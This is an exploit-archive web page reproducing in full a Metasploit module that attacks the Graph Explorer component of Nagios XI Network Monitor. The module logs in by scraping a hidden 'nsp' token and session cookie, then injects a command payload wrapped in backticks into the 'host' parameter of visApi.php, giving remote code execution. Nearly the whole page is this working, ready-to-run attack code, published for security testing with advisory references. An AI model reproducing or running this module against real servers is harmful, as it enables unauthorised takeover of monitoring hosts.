首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Nagios XI Network Monitor Graph Explorer Component Command Injection
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-12-10  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Nagios XI Network Monitor Graph Explorer Component Command Injection",
   'Description'    => %q{
     This module exploits a vulnerability found in Nagios XI Network Monitor's
    component 'Graph Explorer'.  An authenticated user can execute system commands
    by injecting it in several parameters, such as in visApi.php's 'host' parameter,
    which results in remote code execution.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery
     'sinn3r'
    ],
   'References'     =>
    [
     [ 'OSVDB', '83552' ],
     [ 'BID', '54263' ],
     [ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ]
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00\x0d\x0a",
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl python ruby bash telnet',
      }
    },
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     ['Graph Explorer Component prior to 1.3', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Nov 30 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    # URI isn't registered, because this is set by the installer.
    OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),
    OptString.new('PASSWORD', [true, 'The password to use'])
   ], self.class)
 end


 def check
  res = send_request_raw({
   'method' => 'GET',
   'uri'    => '/nagiosxi/includes/components/graphexplorer/visApi.php'
  })

  if res and res.code == 404
   print_error("Remote host does not have Graph Explorer installed.")
  elsif res and res.body =~ /Your session has timed out/
   return Exploit::CheckCode::Detected
  end

  return Exploit::CheckCode::Safe
 end

 def get_login_data
  res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})
  return '' if !res

  nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
  cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0]  || ''
  return nsp, cookie
 end

 def is_loggedin(cookie)
  res = send_request_cgi({
   'method' => 'GET',
   'uri'    => '/nagiosxi/index.php',
   'cookie' => "nagiosxi=#{cookie}"
  })

  if res and res.body =~ /Logged in as: <a href=".+">#{datastore['USERNAME']}<\/a>/
   return true
  else
   return false
  end
 end

 def login(nsp, cookie)
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => '/nagiosxi/login.php',
   'cookie'    => "nagiosxi=#{cookie}",
   'vars_post' => {
    'nsp'         => nsp,
    'page'        => 'auth',
    'debug'       => '',
    'pageopt'     => 'login',
    'username'    => datastore['USERNAME'],
    'password'    => datastore['PASSWORD'],
    'loginButton' => 'Login'
   },
   'headers'   => {
    'Origin'  => "http://#{rhost}",
    'Referer' => "http://#{rhost}/nagiosxi/login.php"
   }
  })

  return is_loggedin(cookie)
 end

 def exploit
  nsp, cookie = get_login_data
  if nsp.empty?
   print_error("Unable to retrieve hidden value 'nsp'")
   return false
  end

  if login(nsp, cookie)
   print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
  else
   print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
   return
  end

  print_status("Sending Command injection")
  send_request_cgi({
   'method'   => 'GET',
   'uri'      => '/nagiosxi/includes/components/graphexplorer/visApi.php',
   'cookie'   => "nagiosxi=#{cookie}",
   'vars_get' => {
    'type' => 'stack',
    'host' => "localhost`#{payload.encoded}`",
    'service' => 'Swap_Usage',
    'div'     => 'visContainer1566841654',
    'opt'     => 'days'
   }
  })
 end


end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DIMIN Viewer 5.4.0 <= WriteAV
·Free Float FTP Server USER Com
·FreeVimager 4.1.0 <= WriteAV A
·Sumatra 2.1.1/MuPDF 1.0 Intege
·Geany <=1.22 Local Code inject
·Android Kernel 2.6 Local DoS C
·FreeFloat FTP Server Arbitrary
·Centrify Deployment Manager v2
·Maxthon3 about:history XCS Tru
·TVMOBiLi 2.1.0.3557 Denial of
·Splunk 5.0 Custom App Remote C
·Dolphin3D 1.52 / 1.60 Command
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved